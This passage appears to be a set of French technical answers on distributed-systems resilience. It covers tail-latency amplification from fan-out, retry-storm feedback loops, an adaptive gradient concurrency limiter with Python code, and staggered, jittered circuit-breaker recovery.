- Mesurer directement la concurrence (gauge d'in-flight requests) et comparer à $120$ : un écart durable signale une violation d'hypothèse.
- Vérifier $\lambda_{\text{out}} \approx \lambda_{\text{in}}$ sur la fenêtre.
- Contrôler que la file d'attente n'a pas de tendance croissante.
- Recalculer $L$ par tranches de temps courtes pour détecter la non-stationnarité.## Données
- $n = 20$ appels, **indépendants**
- $p = 0{,}99$ = probabilité qu'un appel donné finisse sous 100 ms
## Calcul
Sous l'hypothèse d'indépendance, la probabilité conjointe est le produit des probabilités :
$$P(\text{tous} < 100\ \text{ms}) = p^{\,n} = 0{,}99^{20}$$
$$0{,}99^{20} = 0{,}81790693759\ldots \approx \mathbf{0{,}8179}$$
Risque qu'au moins un appel soit lent (événement complémentaire) :
$$P(\text{au moins un lent}) = 1 - 0{,}99^{20} = 0{,}18209306\ldots \approx \mathbf{0{,}1821}$$
Soit **81,79 % de succès complet** et **18,21 % de risque**, à comparer au 1 % de chaque appel isolé. (Calcul vérifié par exécution dans le laboratoire Python local.)
| Nombre d'appels | $P(\text{tous rapides})$ | $P(\text{au moins un lent})$ |
|---|---|---|
| 1 | 0,9900 | 0,0100 |
| 2 | 0,9801 | 0,0199 |
| 5 | 0,9510 | 0,0490 |
| 10 | 0,9044 | 0,0956 |
| 20 | **0,8179** | **0,1821** |
## Le phénomène
C'est l'**amplification de la latence de queue par le fan-out** (tail latency amplification). Une page dont le rendu attend la totalité des réponses a une latence égale au **maximum** des latences individuelles, pas à leur moyenne. Le percentile de queue de chaque service devient donc le régime *courant* de la page : ce qui est un incident rare à l'échelle d'un appel (1 %) devient un incident quasi banal à l'échelle de la page (18 %).
Mathématiquement, $1 - p^n \approx n(1-p)$ pour $n(1-p)$ petit : le risque croît **linéairement avec le fan-out**. Autrement dit, le P99 d'un service devient approximativement le P82 de la page à 20 appels.
Deux mises en garde de rigueur :
- L'indépendance est une **hypothèse de l'énoncé**, rarement vraie en production : GC, saturation CPU, contention de pool de connexions, base de données commune et voisin bruyant corrèlent positivement les lenteurs. La corrélation positive **augmente** $P(\text{tous rapides})$ par rapport à 0,8179 (les lenteurs arrivent groupées) mais **aggrave** la sévérité des mauvais cas et rend les rafales d'incidents plus longues. Le chiffre 0,8179 n'est donc pas une prédiction de production, c'est le résultat exact du modèle posé.
- « 99 % sous 100 ms » ne borne pas la latence du 1 % restant : sans timeout, un seul appel peut bloquer la page pendant des secondes. La distribution de la queue compte autant que sa fréquence.
## Le remède
Dans l'ordre d'efficacité opérationnelle.
**1. Réduire le fan-out (le levier le plus puissant)**
Puisque le risque est proportionnel à $n$, diviser $n$ divise le risque. Regroupez les 20 appels en requêtes composites ou en endpoints batch : passer de 20 à 4 appels ramène le risque de 18,2 % à $1 - 0{,}99^4 = 3{,}94\ \%$.
**2. Découpler le rendu de l'attente totale**
Ne faites pas dépendre le premier octet utile de l'ensemble des appels. Rendez immédiatement le squelette critique, puis hydratez le reste en streaming (Server Sent Events, streaming SSR, chargement progressif). La page n'attend alors plus le maximum, mais seulement les appels réellement bloquants.
**3. Budget de latence et timeouts agressifs par appel**
Fixez un budget global (par exemple 300 ms) et un timeout par appel strictement inférieur, avec **dégradation gracieuse** : valeur en cache, contenu par défaut, ou masquage du bloc non essentiel. Le timeout transforme une latence non bornée en une perte de fonctionnalité bornée et prévisible.
**4. Hedged requests (requêtes doublées)**
Si un appel dépasse son P95, émettez une seconde tentative en parallèle vers une autre instance et retenez la première réponse. Coût typique de quelques pourcents de trafic supplémentaire, gain important sur le P99. Technique documentée dans la littérature d'ingénierie des systèmes distribués sous ce nom.
**5. Cache et pré-agrégation**
Mettez en cache les fragments stables (CDN, Redis, cache applicatif) et pré-calculez les vues composites. Un appel servi par le cache sort du calcul de risque.
**6. Attaquer la queue à la source**
Optimisez le P99 des services, pas leur moyenne : pools de connexions correctement dimensionnés, index manquants, pauses GC, requêtes N+1, cold starts. Ajoutez disjoncteurs (circuit breakers) et cloisonnement (bulkheads) pour empêcher un dépendant dégradé de contaminer les autres.
**7. Mesurer le bon indicateur**
Instrumentez la latence **de la page** (P50, P95, P99 bout en bout) et non la seule latence par service, car c'est la seule métrique qui capture l'effet du maximum. Surveillez aussi la corrélation entre lenteurs, un P99 par service peut être excellent alors que la page est mauvaise.
## Résultat final
- $P(\text{tous} < 100\ \text{ms}) = 0{,}99^{20} = \mathbf{0{,}8179}$
- $P(\text{au moins un lent}) = \mathbf{0{,}1821}$, soit environ **1 chargement de page sur 5,5**
- Phénomène : **amplification de la latence de queue par le fan-out**, la page subit le maximum et non la moyenne
- Remède prioritaire : **réduire $n$**, puis **découpler le rendu**, **borner par timeout avec dégradation**, et **hedged requests** sur les appels critiques
Hypothèses : indépendance stricte (posée par l'énoncé, à considérer comme optimiste en production), page bloquée jusqu'à la dernière réponse, aucune borne supérieure connue sur la latence du 1 % lent.## 1. La boucle
Il s'agit d'une boucle de rétroaction **positive** (auto-amplifiante) entre latence et charge offerte, dont le point d'arrivée est l'effondrement du débit utile.
$$\text{surcharge} \rightarrow \text{attente} \uparrow \rightarrow \text{timeouts } p \uparrow \rightarrow \text{retries} \rightarrow \lambda_{\text{eff}} \uparrow \rightarrow \rho \uparrow \rightarrow \text{attente} \uparrow \ \circlearrowleft$$
Les deux relations qui ferment la boucle sont établies par la théorie des files d'attente (source : article *Théorie des files d'attente*, Wikipédia FR, encyclopédie locale) :
- **Loi de Little** : $\langle N\rangle = \lambda \cdot \tau$, valable indépendamment du processus d'arrivée et de la discipline de service, sous condition de système **stable**.
- **File M/M/1** : $\tau = \dfrac{1}{\mu}\cdot\dfrac{1}{1-\rho}$ avec $\rho = \lambda/\mu$, et condition de non engorgement $\lambda/\mu < 1$ (même source).
Le maillon ajouté par les retries est l'**amplification du trafic**, qui n'est pas dans l'article cité et relève de la modélisation (hypothèse de ma part, à valider chez vous) : si chaque requête échouée est réémise jusqu'à $k$ fois et que $p$ est la probabilité de dépassement du délai,
$$\lambda_{\text{eff}} = \lambda\,(1 + k\,p)$$
et si les retries se cumulent sur $N$ couches indépendantes (client, passerelle, service, base), l'amplification devient multiplicative, de l'ordre de $(1+k)^N$ dans le pire cas.
**Gain de boucle.** La boucle divergerait dès que la sensibilité $\dfrac{\partial \lambda_{\text{eff}}}{\partial p}\cdot\dfrac{\partial p}{\partial \lambda_{\text{eff}}} \ge 1$. Le régime d'effondrement se caractérise par : $\rho_{\text{eff}} \ge 1$, file croissante sans borne, et travail **gaspillé**, car les réponses sortent après l'expiration du délai client, donc consomment de la capacité sans produire de valeur. C'est le mécanisme de l'effondrement de congestion.
**Illustration numérique** (calcul effectué avec l'outil local, $\mu = 100$ req/s, $\lambda = 90$ req/s) :
- sans retry : $\rho = 0{,}9$, $\tau = \dfrac{1}{100}\cdot\dfrac{1}{1-0{,}9} = 0{,}1$ s ;
- avec retries :
| $p$ | $k$ | $\lambda_{\text{eff}}$ (req/s) | $\rho_{\text{eff}}$ | stable |
|---|---|---|---|---|
| 0,05 | 1 | 94,5 | 0,945 | oui |
| 0,05 | 2 | 99,0 | 0,990 | oui |
| 0,05 | 3 | 103,5 | 1,035 | **non** |
| 0,10 | 1 | 99,0 | 0,990 | oui |
| 0,10 | 2 | 108,0 | 1,080 | **non** |
| 0,20 | 2 | 126,0 | 1,260 | **non** |
| 0,30 | 3 | 171,0 | 1,710 | **non** |
Lecture : à $90\,\%$ d'utilisation, un taux d'échec de $10\,\%$ avec 2 retries suffit à franchir la capacité et à rendre le système instable. Ces valeurs sont une **illustration** sous hypothèses M/M/1 et amplification linéaire, pas une mesure de votre système.
Honnêteté sur la méthode : j'ai aussi tenté un calcul de **point fixe** couplant $p(\lambda_{\text{eff}})$ et $\lambda_{\text{eff}}(p)$ pour localiser le seuil d'effondrement ; l'exécution a échoué (erreur `NameError` de portée de variable) et je n'en tire donc **aucun chiffre**. Le seuil quantitatif reste à établir chez vous.
## 2. L'action d'admission
Objet : **borner l'entrée** pour que $\rho_{\text{eff}}$ reste strictement inférieur à 1, quoi qu'il arrive en amont.
1. **Limite de concurrence, pas seulement de débit.** Un sémaphore borné par service et par dépendance (bulkhead). La file d'attente doit être **bornée** ; une file non bornée transforme une surcharge en panne de latence, jamais en refus.
2. **Refus immédiat et peu coûteux** au-delà de la limite : HTTP 429 ou 503 avec en-tête `Retry-After`. Le coût unitaire d'un rejet doit être très inférieur au coût d'un service, sinon le rejet lui-même sature la machine.
3. **Rejet des travaux périmés avant le service.** À chaque dépop de file, comparer le délai restant (deadline propagée) au temps de service attendu ; si le délai est déjà consommé, jeter sans servir. Une discipline **LIFO** en surcharge, ou une purge par âge de type CoDel, sert les requêtes encore utiles plutôt que les plus anciennes déjà abandonnées.
4. **Contrôle adaptatif de la limite** : ajuster la concurrence admise par un signal de latence (gradient de latence, AIMD), plutôt que par une constante figée qui vieillit mal.
5. **Délestage par priorité** : classes de trafic (paiement et écritures critiques, lectures, batch, prospection), et abandon des classes basses d'abord, dégradation gracieuse (réponse partielle, cache périmé toléré) plutôt que refus global.
6. **Équité par appelant** (quotas, fair queuing) pour qu'un client bruyant ne consomme pas toute l'admission.
## 3. L'action retry
Objet : **casser le gain de boucle**, ramener l'amplification proche de 1 en surcharge tout en gardant l'utilité des retries sur les fautes isolées.
1. **Budget de retry global** : plafonner les retries à une fraction du trafic réussi (par exemple un ordre de grandeur de $10\,\%$, valeur à calibrer, ce n'est pas une constante universelle). Au-delà du budget, on ne réessaie plus, on échoue.
2. **Ne pas réessayer un signal de surcharge.** Un 429 ou 503 signifie « pas de capacité » : le retry immédiat est exactement le comportement qui alimente la boucle. Respecter `Retry-After`.
3. **Retry sur une seule couche.** Choisir la couche la plus proche de la décision métier et désactiver les retries des autres, pour supprimer l'amplification multiplicative $(1+k)^N$.
4. **Backoff exponentiel avec jitter obligatoire.** Le backoff exponentiel est un mécanisme classique de résolution de contention (l'encyclopédie locale le documente dans le cadre de *CSMA/CD*, algorithme de backoff exponentiel binaire) ; le **jitter** aléatoire évite la resynchronisation des réémissions en vagues, qui recrée des pics de charge. $k$ petit, typiquement 1 ou 2.
5. **Disjoncteur (circuit breaker)** par dépendance : ouverture sur taux d'erreur ou de timeout, passage en échec immédiat, réouverture progressive (half-open) avec un débit d'essai limité.
6. **Deadline propagée et vérifiée avant chaque tentative** : ne réessayer que si le délai restant permet raisonnablement de réussir, sinon abandonner tout de suite.
7. **Idempotence** (clé d'idempotence côté serveur) : sans elle, un retry sur écriture est un risque de duplication, pas seulement un risque de charge.
8. **Timeouts calibrés sur les quantiles observés** (p99 en régime sain, plus une marge). Un timeout trop court fabrique des faux échecs et donc des retries inutiles : c'est un générateur d'amplification.
9. **Requêtes redondantes (hedging)** : uniquement à taux très faible et **désactivées** dès que la charge dépasse un seuil, car elles multiplient mécaniquement $\lambda_{\text{eff}}$.
## 4. L'objectif
**Maximiser le débit utile sous contrainte de latence, en garantissant la bornitude du système.**
$$\max_{\lambda_{\text{adm}}} \ \ G = \lambda_{\text{adm}} \cdot (1 - p_{\text{échec}}) \qquad \text{s.c.} \quad \rho_{\text{eff}} = \frac{\lambda_{\text{eff}}}{S\mu} < 1, \quad \tau_{p99}^{\text{servi}} \le D$$
où $G$ est le débit utile (réponses correctes livrées **avant** le délai, les autres ne comptent pas), $D$ le délai contractuel et $S$ le nombre de serveurs.
Formulation opérationnelle du critère de réussite : la courbe débit utile en fonction de la charge offerte doit **monter puis plafonner**, jamais retomber. Autrement dit, sous charge $\times 2$, $\times 5$, $\times 10$ de la capacité, le système sert environ sa capacité et refuse le reste rapidement, au lieu de servir presque rien avec une latence énorme. Cela signifie : gain de boucle maintenu $< 1$, latence bornée par construction (file bornée), et perte reportée sur un **refus explicite et rapide** plutôt que sur une expiration silencieuse.
## 5. Vérification recommandée
1. **Instrumenter l'amplification** : mesurer le ratio $\lambda_{\text{eff}}/\lambda_{\text{utile}}$, tentative par tentative et couche par couche. C'est la métrique manquante dans la plupart des systèmes.
2. **Mesurer le travail gaspillé** : part des réponses produites après l'expiration du délai client. Si elle est significative, la boucle est déjà active.
3. **Test de charge en dépassement** : rampe jusqu'à 3 à 10 fois la capacité nominale, tracer débit utile, p99 servi, taux de rejet, longueur de file. Le critère est l'absence de retombée du débit utile.
4. **Test d'injection** : forcer une dépendance lente (et non en panne franche), c'est le déclencheur habituel ; vérifier que le disjoncteur et le budget de retry contiennent l'amplification.
5. **Contrôle de la file** : vérifier expérimentalement que la file est effectivement bornée et que les éléments périmés sont purgés.
## 6. Risques et limites
- Les formules M/M/1 utilisées supposent des arrivées poissoniennes et des services exponentiels, et ne valent **qu'en régime stable** ; or la surcharge est précisément le régime instable. Elles donnent une intuition et un ordre de grandeur, pas une prédiction du transitoire d'effondrement.
- La loi de Little exige un système stable et non préemptif (source : article cité) ; l'appliquer à une file qui explose n'a pas de sens, seule la tendance est informative.
- Le modèle $\lambda_{\text{eff}} = \lambda(1+kp)$ est une approximation au premier ordre : il ignore la corrélation des retries, les vagues synchronisées, et l'effet de l'abandon des clients.
- Un rejet n'est pas gratuit : au-delà d'un certain taux, le coût du refus, du journal et du chiffrement TLS peut lui-même saturer la machine. Le délestage doit se faire le plus en amont possible (répartiteur, périphérie).
- Réduire les retries **augmente** le taux d'erreur visible sur les fautes transitoires isolées : c'est un compromis assumé entre disponibilité perçue en régime sain et survie en surcharge.
- Ces tests, même nombreux, ne démontrent pas une propriété universelle de stabilité : ils constituent des vérifications finies. Une garantie forte demanderait un invariant de conception (file bornée, budget de retry appliqué en un point unique de passage obligé) plutôt qu'une accumulation de mesures.
- Je n'ai pas accès à votre code, à votre topologie ni à vos métriques : les priorités ci-dessus sont générales et doivent être confrontées à vos mesures réelles.## 1. Diagnostic
La latence croît, le débit reste plat. Sous la loi de Little, $\langle N\rangle = \lambda \cdot \tau$, valable pour tout système stable indépendamment du processus d'arrivée et de la discipline de service (source : encyclopédie locale, article « Théorie des files d'attente », section Loi de Little). Ici :
- $\lambda$ (débit servi) constant,
- $\tau$ (temps de séjour) croissant,
- donc $\langle N\rangle$ (requêtes en vol) croissant.
**Toute concurrence ajoutée au-delà du point de saturation se convertit en attente, pas en travail utile.** C'est la signature d'une file qui se remplit devant un service dont le débit maximal $S\mu$ est déjà atteint, la condition d'équilibre $\frac{\lambda}{S\mu} < 1$ étant à la limite ou violée (source : même article, tableau des files M/M/1 et M/M/S).
## 2. Signal
Le signal exploité est le **gradient de latence**, rapport entre latence de référence sans file et latence observée :
$$g = \frac{R_{\min}}{R_{\text{obs}}} \in (0,1]$$
- $g \approx 1$ : pas de file, marge disponible.
- $g < 1$ : file d'attente présente, $R_{\text{obs}} - R_{\min}$ est du temps d'attente pur.
Ce principe, déduire l'état des tampons intermédiaires du temps de réponse plutôt qu'attendre la perte, est celui de TCP Vegas : « Plutôt que d'attendre une perte de paquet, Vegas prend en compte le temps de réponse du destinataire (le RTT) afin d'en déduire le ratio auquel envoyer les paquets. En fonction du temps de réponse, on est capable de supposer l'état des buffers des routeurs intermédiaires » (source : encyclopédie locale, article « Algorithme TCP », section Vegas).
Illustration numérique, valeurs d'exemple posées par moi, non mesurées :
| Grandeur | Valeur | Calcul |
|---|---|---|
| Débit $\lambda$ | 1000 req/s | donnée posée |
| $R_{\min}$ | 20 ms | donnée posée |
| $R_{\text{obs}}$ | 50 ms | donnée posée |
| Concurrence utile $\lambda R_{\min}$ | **20** | $1000 \times 0{,}020$ |
| Concurrence observée $\lambda R_{\text{obs}}$ | **50** | $1000 \times 0{,}050$ |
| Requêtes en file | **30** | $50 - 20$ |
| Gradient $g$ | **0,40** | $20/50$ |
$30$ requêtes sur $50$ n'apportent aucun débit : elles paient uniquement de la latence.
## 3. Décision
**Réduire la fenêtre de concurrence, de façon multiplicative et immédiate.** Ne pas l'augmenter, ne pas la maintenir, ne pas attendre un signal d'erreur ou de timeout.
Justification : augmenter la fenêtre ne peut pas augmenter $\lambda$, borné par la capacité de service, mais augmente mécaniquement $\tau$ par $\tau = \langle N\rangle / \lambda$. La montée de latence est donc un signal d'arrêt de la sonde exploratoire, et non un appel à plus de parallélisme.
Forme classique de la mise à jour, avec un terme d'autorisation de file :
$$L_{t+1} = L_t \cdot g + \text{allowance}, \qquad \text{allowance} \approx \sqrt{L_t}$$
Sur l'exemple : $L_{t+1} = 50 \times 0{,}40 + \sqrt{50} \approx 20{,}0 + 7{,}07 = \mathbf{27{,}1}$, soit une latence cible $27{,}1/1000 \approx 27$ ms, contre 50 ms observées, à débit inchangé.
Honnêteté sur la source : le terme $\sqrt{L}$ et la forme $L \cdot g + \text{allowance}$ correspondent aux algorithmes de type gradient des limiteurs de concurrence adaptatifs, mais **je ne dispose pas dans mes sources vérifiables d'une référence d'implémentation précise à citer**. Traitez cette formule comme une paramétrisation standard raisonnable, non comme une citation.
## 4. Valeur protégée
Trois valeurs, par ordre de priorité.
**a) La latence de queue et le temps de séjour $\tau$.** C'est la valeur directement défendue : on refuse de convertir de la marge en attente invisible. Le rejet ou la mise en attente explicite en amont remplace une dégradation diffuse de tous les appels.
**b) La capacité effective, c'est-à-dire la concurrence utile $\lambda \cdot R_{\min}$.** On protège le point de fonctionnement où le système travaille sans file, l'équivalent de l'état stable de Vegas où « le débit correspond de près à la capacité du lien » (source : encyclopédie locale, article « Algorithme TCP », section Vegas).
**c) La stabilité, contre l'effondrement congestif.** Si l'on ne réagit pas, l'attente franchit les délais de garde, les clients réémettent, la charge offerte augmente, la file croît encore. Le mécanisme d'aggravation est explicité pour TCP : « Si le protocole ne réagit pas aux congestions, le nombre de retransmissions peut continuer à augmenter et aggraver ainsi la congestion » (source : encyclopédie locale, article « Algorithme TCP », section Les différentes phases basiques des algorithmes d'évitement de congestion). Le même cercle vicieux existe pour des appels applicatifs avec retry.
Ce qui est sacrifié en échange, à dire explicitement : le **taux d'admission**. Des requêtes seront refusées ou mises en file bornée en entrée. C'est un arbitrage latence contre disponibilité par requête, pas un gain gratuit.
## 5. Mécanisme
**Boucle de contrôle**
1. Mesurer par fenêtre courte le quantile de latence retenu, par exemple la médiane ou le p90, plutôt que la moyenne, sensible aux valeurs extrêmes.
2. Maintenir $R_{\min}$ sur une **fenêtre glissante à expiration** (par exemple quelques minutes) et non un minimum absolu depuis le démarrage.
3. Calculer $g = R_{\min}/R_{\text{obs}}$, borner $g$ dans un intervalle du type $[0{,}5\,;\,1]$ pour éviter un effondrement en un pas.
4. Appliquer $L_{t+1} = L_t \cdot g + \sqrt{L_t}$, lissé (moyenne exponentielle) pour éviter l'oscillation.
5. Borner $L$ par $L_{\min}$ (garantir un minimum de progression, éviter la famine) et $L_{\max}$ (protéger les ressources aval).
6. Ne monter la fenêtre que lorsque $g \approx 1$ **et** que la fenêtre est effectivement saturée, sinon la limite dérive vers le haut sans preuve de capacité.
7. Pénalité forte et immédiate sur timeout ou rejet aval, analogue à la réduction sur perte de paquet.
**Application de la fenêtre**
- Sémaphore ou jetons de concurrence par point d'appel, décrémenté à l'admission, restitué à la terminaison, y compris en cas d'erreur ou d'annulation, sous `finally` ou équivalent.
- Au-delà de $L$ : **rejet rapide** ou file d'entrée bornée avec délai maximal d'attente. Une file non bornée annule le bénéfice du limiteur, elle déplace simplement l'attente.
- Limites séparées par classe de trafic (interactif, batch) pour éviter qu'un trafic tolérant à la latence ne consomme la fenêtre du trafic critique.
Illustration d'implémentation, Python, structure du contrôleur seul, non exécutée :
```python
import math, time, threading
class GradientLimiter:
"""Limiteur de concurrence a gradient de latence.
Non teste : le code n'a pas ete execute dans cette reponse."""
def __init__(self, initial=20, min_limit=4, max_limit=500,
smoothing=0.2, rtt_min_ttl=300.0, gradient_floor=0.5):
if not 0 < smoothing <= 1:
raise ValueError("smoothing doit etre dans (0, 1]")
self._lock = threading.Lock()
self._limit = float(initial)
self._min, self._max = min_limit, max_limit
self._smoothing = smoothing
self._floor = gradient_floor
self._ttl = rtt_min_ttl
self._rtt_min = None
self._rtt_min_at = 0.0
def _refresh_rtt_min(self, sample, now):
# fenetre a expiration : evite qu'un R_min obsolete
# ne fasse s'effondrer la limite indefiniment
expired = self._rtt_min is None or (now - self._rtt_min_at) > self._ttl
if expired or sample < self._rtt_min:
self._rtt_min, self._rtt_min_at = sample, now
def update(self, rtt_sample, inflight, dropped=False):
"""rtt_sample en secondes, inflight = concurrence observee."""
if rtt_sample <= 0:
raise ValueError("rtt_sample doit etre > 0")
now = time.monotonic()
with self._lock:
self._refresh_rtt_min(rtt_sample, now)
if dropped:
target = self._limit / 2.0 # penalite sur echec
else:
g = max(self._floor,
min(1.0, self._rtt_min / rtt_sample))
queue_allowance = math.sqrt(self._limit)
target = self._limit * g + queue_allowance
# ne monter que si la fenetre est reellement saturee
if target > self._limit and inflight < self._limit * 0.9:
target = self._limit
self._limit = ((1 - self._smoothing) * self._limit
+ self._smoothing * target)
self._limit = max(self._min, min(self._max, self._limit))
return int(self._limit)
@property
def limit(self):
with self._lock:
return int(self._limit)
```
## 6. Vérification
Trois tests à exiger avant mise en production.
1. **Test de saturation contrôlée** : injecter une charge croissante sur un service à capacité connue, vérifier que $L$ se stabilise au voisinage de $\lambda \cdot R_{\min}$ et que le p99 reste borné. Assertion : $R_{\text{obs}} \le k \cdot R_{\min}$ avec $k$ fixé à l'avance.
2. **Test de dérive de $R_{\min}$** : augmenter artificiellement la latence de base de façon durable et légitime (aval plus lent mais sain). Assertion : $L$ ne descend pas jusqu'à $L_{\min}$ de façon permanente, grâce à l'expiration de $R_{\min}$.
3. **Test de fuite de jetons** : provoquer exceptions, annulations et timeouts. Assertion : le compteur de concurrence revient à zéro à charge nulle.
Ces tests doivent être écrits avec assertions réelles. **Je n'ai exécuté aucun de ces tests ici.**
## 7. Risques et limites
- **$R_{\min}$ obsolète.** Un minimum historique atteint dans des conditions non reproductibles rend $g$ durablement petit et étrangle le service alors qu'il est sain. C'est le défaut principal de cette famille d'algorithmes. Correctif : fenêtre à expiration, plancher $L_{\min}$.
- **Latence non causée par la file locale.** Une hausse de latence due à un appel externe, à un GC ou à un défaut réseau produit le même signal. Réduire la concurrence est alors inutile, parfois nuisible. Correctif : mesurer la latence par dépendance et attribuer les limites par point d'appel.
- **Confusion signal / cause.** Le gradient établit une **corrélation** entre concurrence et latence, il n'établit pas la cause de la saturation. Le limiteur protège la latence, il ne diagnostique pas le goulot d'étranglement. Un profilage reste nécessaire.
- **Équité et interaction entre régulateurs.** Un contrôle réactif à la latence perd du terrain face à un trafic concurrent qui ne réagit qu'à la perte ou à l'erreur ; le phénomène est documenté pour Vegas : « les performances se dégradent lorsqu'il est utilisé avec d'autres protocoles qui ne prennent pas en compte l'état du lien avant une perte de paquet » (source : encyclopédie locale, article « Algorithme TCP », section Vegas). Attendez-vous à ce qu'un client non régulé capte la capacité libérée.
- **Oscillation.** Lissage trop faible ou fenêtre de mesure trop courte produit un cycle réduction / expansion. Correctif : hystérésis, période minimale entre ajustements.
- **Validité de la loi de Little.** Elle exige un système stable et non préemptif, et exclut les états transitoires de démarrage ou d'arrêt (source : encyclopédie locale, article « Théorie des files d'attente », section Loi de Little). Pendant un démarrage à froid ou une mise à l'échelle, les inférences chiffrées ci-dessus ne s'appliquent pas.
- **Non testé ici.** Le code fourni est raisonné mais non exécuté ; les valeurs numériques de la section 2 sont des hypothèses d'illustration, pas des mesures.## 1. Diagnostic, le risque
Le risque n'est pas la panne de C, c'est l'**échec métastable** : C se relève, mais la salve de sondes le remet au tapis, ce qui rouvre les breakers, ce qui recrée la salve. La panne survit alors à sa cause initiale.
| Risque | Mécanisme | Conséquence |
|---|---|---|
| Tempête de réamorçage | toutes les instances passent en half-open au même instant | C saturé dès la première milliseconde de sa convalescence |
| Amplification hiérarchique | chaque sonde de A vers B déclenche un appel réel de B vers C | facteur multiplicatif $N_A \times K_A + N_B \times K_B$ |
| Faux négatif de santé | C est sain à faible débit, mais la sonde elle-même le sature | C est déclaré mort alors qu'il est vivant, indisponibilité artificiellement prolongée |
| Contamination de B | les sondes de A épuisent les pools, threads et files de B | du trafic sans rapport avec C échoue aussi chez B |
| Oscillation entretenue | cycle open → half-open → open verrouillé en phase | ni reprise, ni panne franche, donc diagnostic difficile |
| Reprise inversée | A referme son breaker avant que B ait validé C | A pousse du trafic utilisateur réel sur un chemin encore cassé |
Ordre de grandeur avec des **hypothèses illustratives que vous n'avez pas fournies** (20 instances de A, 10 clés de breaker par instance, 10 instances de B, 1 clé vers C), calcul effectué avec l'outil local :
- sondes émises par A : $20 \times 10 = 200$
- sondes émises par B : $10 \times 1 = 10$
- charge instantanée vue par C : $\mathbf{210}$ requêtes concentrées dans la même fenêtre de 100 ms
Ces chiffres sont une simulation paramétrique, pas une mesure de votre système.
## 2. Cause temporelle
La cause est une **synchronisation de phase par événement commun**, cas classique du problème du troupeau tonnant (*Thundering herd problem*, Wikipedia EN, article `Thundering_herd_problem`) et strictement analogue à la synchronisation globale TCP, où tous les émetteurs voient la perte au même instant, attendent le même délai, puis resaturent la file ensemble (*TCP global synchronization*, Wikipedia EN, article `TCP_global_synchronization`).
Quatre défauts temporels se cumulent :
1. **Front d'ouverture commun.** L'échec de C est un signal unique et global. Tous les breakers de A et de B ouvrent dans la même fenêtre de quelques dizaines de millisecondes, donc leurs minuteries de reset démarrent en phase.
2. **Délai de reset déterministe et partagé.** Un `resetTimeout` fixe, identique parce qu'issu de la même configuration, transforme une phase commune en **échéance commune**. Sans aléa, l'alignement est conservé indéfiniment.
3. **Absence d'étagement hiérarchique.** $T_A \approx T_B$. A sonde donc *avant* que B ait eu le temps de vérifier C, ce qui rend le verdict de A structurellement non informatif.
4. **Half-open non borné et purement local.** L'état du breaker est local à chaque instance ; il n'existe aucune coordination, donc la couche produit $N$ sondes concurrentes au lieu de 1.
Le résultat est une boucle de rétroaction positive : échec → ouverture simultanée → attente identique → salve → échec.
## 3. Correction
### 3.1 Jitter sur le délai de reset
Correctif canonique : ajouter de l'aléa pour casser la synchronisation entre clients (*Thundering herd problem*, section Mitigation, Wikipedia EN).
$$T_{\text{reset}} \sim \mathcal{U}(0,\;T_{\text{base}}) \quad \text{(full jitter)}$$
Effet mesuré par le calcul, avec $N = 210$ sondes étalées sur $T = 30$ s et des seaux de 100 ms :
- sans jitter : $210$ sondes dans un seul seau de 100 ms
- avec full jitter : espérance $= 210 \times \dfrac{0{,}1}{30} = \mathbf{0{,}7}$ sonde par seau
- $P(\ge 2 \text{ sondes dans un même seau}) = 1 - F_{\text{binom}}(1;\,210,\,1/300) \approx \mathbf{0{,}156}$
Le pic est ramené d'un facteur $210$ à un ordre de grandeur de 1. Ce modèle suppose des tirages indépendants et des horloges décorrélées, hypothèse fausse si toutes les instances redémarrent en bloc.
### 3.2 Limiter la concurrence des sondes
- `maxConcurrentHalfOpen = 1` par clé et par instance, obligatoire.
- Mieux, un **bail de sonde partagé** : une seule instance dans tout le parc détient le droit de sonder une clé donnée, via un verrou à TTL court (`SET clé valeur NX PX 2000`), les autres restent en open et héritent du verdict. C'est ce qui supprime réellement le facteur $N$.
### 3.3 Étager les délais de reset de bas en haut
Invariant à imposer, testé en intégration continue :
$$T_{\text{amont}} \;\ge\; \left(T_{\text{aval}} + W_{\text{validation}}\right) \times m$$
Avec $T_C = 30$ s, une fenêtre de validation $W = 3/1 = 3$ s (3 succès consécutifs à 1 req/s) et une marge $m = 1{,}5$ :
$$T_A \;\ge\; (30 + 3) \times 1{,}5 = \mathbf{49{,}5\ \text{s}}$$
A ne doit jamais pouvoir sonder pendant que B est encore en train de conclure.
### 3.4 Ne pas propager la sonde
Tant que le breaker B→C est ouvert, une sonde de A vers B **ne doit pas** générer d'appel réel vers C : B répond en échec rapide, ou sur une route dégradée sans dépendance à C. Sans cela, tout jitter chez A est annulé par l'amplification.
### 3.5 Interdire les retries en cascade
Une seule couche retente, celle qui est adjacente à la dépendance défaillante. Ajoutez un **budget de retry** (seau à jetons plafonnant les réessais à quelques pour cent du trafic nominal) et propagez une échéance décroissante (`deadline`) de bout en bout, afin qu'un appel déjà condamné ne consomme pas de capacité chez C.
### 3.6 Reprise en rampe, non binaire
Remplacez le half-open tout ou rien par un ratio d'admission croissant, par exemple $1\% \to 5\% \to 25\% \to 100\%$, avec repli immédiat au palier précédent au premier échec, et hystérésis pour éviter le battement.
### 3.7 Défenses côté C
Délestage en entrée (*load shedding*) avec priorités, rejet explicite en 503 accompagné de `Retry-After`, préchauffage des pools, du cache et de la compilation avant d'accepter du trafic. C doit pouvoir se protéger même si les appelants sont mal configurés.
### 3.8 Esquisse de configuration
```yaml
# Hypothèse : valeurs illustratives, à recalibrer sur vos mesures reelles.
breaker_B_vers_C:
reset_base_ms: 30000
jitter: full # U(0, reset_base_ms)
half_open_max_calls: 1
half_open_lease: partage # verrou distribue a TTL, 1 sondeur global
success_threshold: 3
ramp: [0.01, 0.05, 0.25, 1.0]
breaker_A_vers_B:
reset_base_ms: 49500 # >= (30000 + 3000) * 1.5
jitter: full
half_open_max_calls: 1
fail_fast_si_dependance_ouverte: true
retry:
budget_ratio: 0.05 # 5 % du trafic nominal au maximum
couche_autorisee: adjacente_seulement
```
## 4. Ordre de reprise
Strictement du plus profond vers le plus superficiel, chaque étage validé avant d'autoriser l'étage supérieur.
| Étape | Acteur | Condition de passage |
|---|---|---|
| 0 | C hors trafic | santé vérifiée par canari interne à très faible débit, jamais par le chemin de charge |
| 1 | C | préchauffage terminé, délestage armé, capacité nominale confirmée |
| 2 | Breaker B→C | half-open, **1 seule** sonde par clé, délai jitteré |
| 3 | B | 3 succès consécutifs, files drainées, latence revenue sous seuil |
| 4 | Breaker A→B | half-open seulement après $T_A \ge 49{,}5$ s, jitteré, 1 sonde |
| 5 | A, trafic synchrone utilisateur | rampe $1\% \to 100\%$, repli au premier échec |
